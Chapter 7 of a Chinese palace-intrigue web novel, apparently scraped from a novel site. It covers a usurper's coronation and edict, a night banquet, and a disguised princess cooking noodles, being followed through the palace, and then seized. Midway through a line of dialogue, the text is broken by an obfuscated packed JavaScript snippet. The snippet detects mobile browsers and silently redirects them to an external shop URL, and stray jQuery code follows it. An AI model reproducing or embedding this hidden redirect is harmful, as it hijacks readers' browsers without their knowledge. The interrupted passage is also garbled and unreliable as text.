文趣网 > 其他小说 > 假扮暴君的公主后 > 7. 第 7 章
    两日后,是登基大典。

    对容策这个边境藩王来说,原本应该“当以礼让,不可自取”的皇位,他连三劝三辞的过场都不愿走,直接在逼宫后的第五日,正式即位。

    凌晨寅时刚至,月梨就被喊了起来,整个乾宁殿为数不多的宫人们开始忙碌。

    卯时,新帝前往天坛太庙祭告天地社稷。

    辰时他身着孝服,设酒果,在世宗皇帝几筵前受命,再换上衮冕服,于奉天殿前的丹陛上设香案,举行告天仪式。

    容策率群臣行五拜三叩头礼,正式向天地宣告即位。

    接着谒告奉天殿,再回到世宗皇帝几筵前谒告,至此,所有的祭告程序完成。

    最后,新帝进入勤政殿,升宝座,锦衣卫鸣鞭三响,全场肃静,文武百官身着朝服,按“文东武西”的规制,在丹墀内排列整齐,行五拜三叩头礼。

    玄衣纁裳的男子龙威燕颔,正立丹墀之上,衣袍猎猎,衮服的十二章纹在日光中灼灼生辉,冕旒垂于眼前,充耳悬于两颊。他手持玉圭,听殿外钟鼓齐鸣,看百官伏地山呼,目光始终沉静如渊。

    翰林院学士捧出即位诏书,礼部官接过诏书,由奉天殿左门出,将诏书放入云舆,云舆由云盖导引,送至承天门上宣读。

    诏书先颂扬了一番世宗皇帝的功绩,再指责灵帝失德,哀帝无能,故“自绝于天地祖宗”。

    而新帝逼宫,是“遵奉条章,举兵以清君侧之恶”,盖因遵从世宗皇帝的遗训而卫护大缙江山社稷。

    新帝的即位,是“天命转移”,乃“众望所归”。

    从即日起,革除元康年号,改为景兴元年,大赦天下,除谋反大逆、谋杀祖父母父母等十恶不赦者外,其余之罪无大小,咸赦免之。包括从前被诬陷有反心的各藩王府中,所有连累致罪者。

    同时减免各府州县的徭役赋税,有被兵不能耕种者,免三年差税。不曾被兵者,明年秋夏税粮尽行蠲免。

    承天门内外遍布的玺王军身着甲胄手握利器,凛冽冰冷的目光扫过来,众朝臣们在刺骨的寒风中瑟瑟发抖。

    听着那些新帝心系百姓,仁德爱民之举,他们眼前浮现的,却是这几日血洗宫墙的惨状,和诏狱中散不去的血腥气。

    当晚,新帝在承天门内赐下皇宫夜宴,百官齐赴。

    酉时正,容策换了一身常服,坐在上首主位,与朝臣们共饮第一杯后,这位新帝笑容温煦,抬手示意众人落座,勿拘常礼。

    檐廊下宫灯摇曳,男子眉目如画,雅量矜贵,举手投足间不见半分兵戈戾气。他执杯浅酌,有一瞬间温润如玉谦谦君子的错觉。

    但那笑意未达眼底,不经意掠过座下觥筹交错中,每一张强作镇定的脸。

    食案上摆满了山珍海味,朝臣们动作僵硬地不时执箸送入口中,伴着辛辣的酒水下肚,味同嚼蜡。

    丝竹声响,舞姬翩然而至,轻盈起舞,宴席的气氛才略微缓和。

    容策又饮了一口,看了眼下手的沈缄,沈缄会意,起身上前。

    “英国公和宁阳侯为何不见?”

    容策的指尖摩挲着杯盏,沈缄答道:

    “他二人皆称病未至。”

    “英国公是突感恶寒,高烧不退。宁阳侯是旧伤复发,卧床不起。”

    容策一笑:

    “病得倒是时候。”

    他们怕是慑于这几日的雷霆手段,不敢明着违逆,但又不肯轻易俯首称臣,索性装病避席。

    沈缄试探道:

    “微臣这就着人再去请?”

    容策摆摆手,神色淡然:

    “不急这一时。”

    他将杯中酒饮尽,便直接摆驾回宫,示意新任的首辅严赓带着百官们继续宴饮,不必拘束。

    乾宁殿,月梨揉着酸痛的胳膊,和一整天都不曾歇一刻,来来回回走个不停的双腿,从布置好的寝殿悄然出来。

    就在她默默感慨,这累得要命的一天终于结束,可以回屋躺一躺时,却迎面碰上匆忙走来的于海,她心里立刻涌起不祥的预感。

    果不其然,于海压根儿没打算放过她,拂尘一甩,吩咐她道:

    “你赶快去御膳房,让人给陛下做些吃食送过来。”

    “陛下尚未用膳,得预备着给他垫垫肚子。”

    月梨很不解,陛下的膳食素来都是有专人负责,怎会要她跑一趟?

    于海一眼就瞧出她的心思,皱眉不耐道:

    “宫里现今才几个人?那宫宴还不够他们忙活的?”

    “让你去就去!”

    “若是饿着了陛下,你担待得起么?”

    于海在她面前总是这般语气,动不动就小题大做,且说一不二,不给她任何反驳的机会。

    月梨无奈,只得提着灯笼往御膳房去。

    不过于海倒是没说错,御膳房为数不多的几个内监忙得脚不沾地,屋内一片青烟缭绕,灶火噼啪作响,蒸笼叠得老高,纵是寒冬里,人人的额角都沁着薄汗。

    月梨唤了几个人,竟都如同没听见她说话一般,并不搭理她。而她不知,照御膳房的规矩,若是各宫有什么额外的差使,都得出示各宫的令牌,于海却并没有给她。

    听于海说陛下即将回宫,月梨不敢耽搁下去,看了看一旁的热锅热灶,决定自己动手。

    她从小一直跟着爹爹,若是他回来得晚了,便自己做饭食,久而久之,做些简单的吃食算是轻车熟路。

    她挽起袖子,开始翻找菜架,看到竹篓里有晾干的鳗面,便取下来,找到一个空置的小锅,舀了几勺鸡汤放入锅中,又加了些火腿片和蘑菇,水开后下鳗面。

    平日负责给乾宁殿送膳食的小内监刚从宫宴处回来,见月梨在灶前忙碌,一脸惊讶和不可置信,立马过来问她是否需要帮忙。

    月梨看他擦着额头上的汗,气喘吁吁的,便笑了笑:

    “不必,已经快煮好了。”

    锅中飘来香气,小内监诧异这位公主竟沦落到亲自下厨,手法看着也颇为娴熟。

    他多看了几眼,但并没有多问,在一旁准备好品锅,待月梨掀开锅盖,撒了些葱花,便帮她把面盛出来,小心盖好后放入食盒,正打算帮她送去乾宁殿,却被一老内监拉走:

    “欸!你在这儿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811091|210830||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    磨蹭什么?”

    “误了差事你有几颗脑袋?!”

    小内监一脸无奈:

    “殿下,奴才……”

    月梨不想他为难,摆摆手道:

    “不重,你去忙吧。”

    她接过他手中的食盒,另一手打着灯笼往回走。

    就在这时,一个宫女正抱着托盘迈步走入御膳房,听见那句“殿下”和月梨的声音后,她脚步顿住,回头看时,正好瞧见一道纤瘦的身影消失在宫门处。

    月梨不是第一次夜里独自在皇宫里行走,但今日,总觉着哪里不对,她已穿着绫袄,浑身却凉飕飕的。

    她忽的停下脚步往后看,一个人也没有。

    她打着灯笼的手紧了紧,心里安慰自己,或许是前几日见了那么多内监宫女的尸身,到底有些怵意,故而才生出这等错觉。

    她继续往前走,寒风卷着枯叶掠过宫墙,灯笼的光晕摇曳不定,她放轻了脚步和呼吸,竟隐约听到身后传来极轻的窸窣声。

    月梨的心跳骤然加快,她深吸一口气,见前方有一个十字分岔口,她忽的朝前快走几步,将手中的灯笼用力扔向一侧,然后迅速拐入了对面的岔路中。

    月梨并没有离开,她屏住呼吸,紧紧抱着怀中的食盒,藏在敞开着的宫门背后,透过缝隙看向自己刚刚走来的宫道。

    果然,有个人影追了上来。

    那人先走向对面的岔路,待看到地上的灯笼时,才回过头看着这边。

    是个宫女。

    月梨不记得她的名字,但很快认出,她是从前虞嫔宫里的。

    虞嫔年轻貌美,颇受先帝的宠爱,但嘉瑶公主一直不喜她张扬的性子,两人私下总有龃龉,谁也瞧不上谁。

    正因这个缘故,两宫的宫人们也常有争执,时常在暗中给对方使绊子。

    月梨皱了皱眉,不知道这个宫女是怎样在杀戮中活下来的,但她一定是认出了自己,才会追过来。

    如果,她揭穿了自己的身份……

    月梨实在不敢想,以如今这位陛下的性子,知道她犯了欺君之罪,会诛她几族?

    少女打了个寒战,后背立即沁出了冷汗。

    也不知道,除了这个宫女,还有多少从前的宫人幸存下来?月梨暗暗思忖,这些时日,她不能再出乾宁殿,尽量不见生人。

    那宫女环顾了四周,又看了一眼扔在那儿的灯笼,迈步向乾宁殿的方向走去。

    待她走远,月梨才摸着起伏不止的胸口,从暗处出来,抬头看了一眼被几丝云雾遮住的月光后,继续往岔道里走。

    就算回去晚了会被于海教训,她此刻也不能回乾宁殿。

    况且,那个宫女若是一路上没瞧见她,极有可能会原路回来找她,她得绕远些再回去。

    整个后宫一片死寂,月梨又到了一间处宫门前,借着依稀的月光,她正仔细分辨门上的牌匾,却听得里头传来一声低沉的怒喝:

    “什么人?!”

    这熟悉的声线,让月梨浑身一抖。

    她还没来得及做出反应,只见一道黑影闪过,她的咽喉已被人扣住。